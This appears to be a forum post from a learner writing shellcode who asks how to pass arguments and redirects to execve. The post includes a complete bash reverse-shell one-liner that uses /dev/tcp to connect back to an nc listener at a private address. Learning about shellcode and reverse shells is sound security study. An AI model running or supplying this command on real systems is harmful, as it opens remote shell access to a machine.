I'm having a go at learning assembly and writing shellcode. I have a question about execve
and passing arguments to the program it will execute.
I have working code to execute a bash shell but am unsure of the input format of execve
to pass additional arguments to it. Can I do stdin stdout redirects too? I wanted to create a reverse tcp connection with this type of command line:
/bin/bash -i >& /dev/tcp/192.168.1.4/1234 0>&1
Should the arguments be separated with NULL's? I got it to execute a shell but it didn't connect back to the listening nc.
I know this is an unusual way of doing this but I just wanted to try something different :-)
Cheers